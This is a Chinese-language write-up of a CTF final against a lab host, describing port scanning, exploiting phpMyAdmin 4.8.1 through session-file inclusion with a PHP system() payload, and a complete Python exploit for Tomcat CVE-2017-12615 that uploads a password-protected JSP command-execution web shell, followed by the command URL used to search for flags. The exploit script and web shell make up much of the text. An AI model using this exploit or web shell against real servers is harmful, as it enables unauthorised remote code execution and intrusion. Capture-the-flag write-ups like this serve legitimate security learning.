3CTF Final wp

太菜了太菜了:)

首先给了一个题目靶机,10.19.142.114,访问后是一个apache的页面,扫路径后什么都没发现,之后用nmap扫端口,发现电脑快扫炸了都没扫出来啥(差评),可能我命令用错了。。之后改用端口扫描器.exe,发现这些开放端口:

10.19.142.114: 22
10.19.142.114: 80
10.19.142.114: 2003
10.19.142.114: 2002
10.19.142.114: 2001

之后想着爆破ssh,不过太难爆了,跑了一会儿就放弃了,也感觉出题人不会这么刁钻:)

三个端口对应的CMS信息:

2001  Apache Tomcat/8.5.14

2002 Apache Tomcat/8.5.19

2003 PHPMyAdmin 4.8.1

看到第三个心里暗自一喜,复赛的时候出的就有phpmyadmin,这次又出了,主持人说这是签到题emmm,还好自己以前总结过相关的利用方法,写文件、包含数据表(一直在测这个,耽误了好长时间)、包含日志都失败了,不过可以包含session,扫描路径发现当前路径下有个/tmp目录,但其并不是存储session的目录,最后发现session文件位于/tmp目录下

select "<?php system('ls'); ?>" into outfile 'shell.php'

http://10.19.142.114:2003/?target=db_datadict.php%253f/../../../../tmp/sess_3eca05a9988aca2f4da5d124e4ce4d66

还发现不能用菜刀或蚁剑连。。。之后用手动执行php代码的方式拿到了/下的两枚flag

之后愣了一上午,测了测2001端口,可是页面上就显示一个Hello World,扫描出.git也不能恢复,后来才发现这个框架只要访问/xxx/index都能访问到,怪不得没有git泄露还能扫出来。。后来听今天大佬分享的什么struts漏洞,额

2002端口是一个安装好的tomcat cms,看不出来啥,就用赛前刚准备的XRAY扫描了一下,没想到扫到了一个CVE-2017-12615-rce,之后排队用上网机,搜索了一些这个CVE相关的文章下载下来拷到U盘上,成功getshell(xray nb)

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#! -*- coding:utf-8 -*-

import httplib

import sys

import time

body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp

+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''

try:

conn = httplib.HTTPConnection(sys.argv[1])

conn.request(method='OPTIONS', url='/ffffzz')

headers = dict(conn.getresponse().getheaders())

if 'allow' in headers and \
headers['allow'].find('PUT') > 0 :

conn.close()

conn = httplib.HTTPConnection(sys.argv[1])

url = "/" + str(int(time.time()))+'.jsp/'

#url = "/" + str(int(time.time()))+'.jsp::$DATA'

conn.request( method='PUT', url= url, body=body)

res = conn.getresponse()

if res.status == 201 :

#print 'shell:', 'http://' + sys.argv[1] + url[:-7]

print 'shell:', 'http://' + sys.argv[1] + url[:-1]

elif res.status == 204 :

print 'file exists'

else:

print 'error'

conn.close()

else:

print 'Server not vulnerable'

except Exception,e:

print 'Error:', e

执行命令:

http://10.19.142.114:2002/1575097506.jsp?pwd=023&cmd=find%20/%20-name%20flag*

就找到这三枚flag。。。之后一直mount dev文件,结果docker逃逸不出来。菜哭了

放了好像7个hint,不过我好像都用不到。。

今天分享会听大佬讲,原来docker逃逸不出来的原因是我挂载错了我去。。事先学习准备的windows和linux渗透都没用上呜呜

拓扑图:

以后得学学别的大佬建立本地资源库,把常用的站直接down下来!剩下的思路等过了这段时间再看看学学吧,以后再也不打CTF了,要期末考试了,得预习课本了,die:)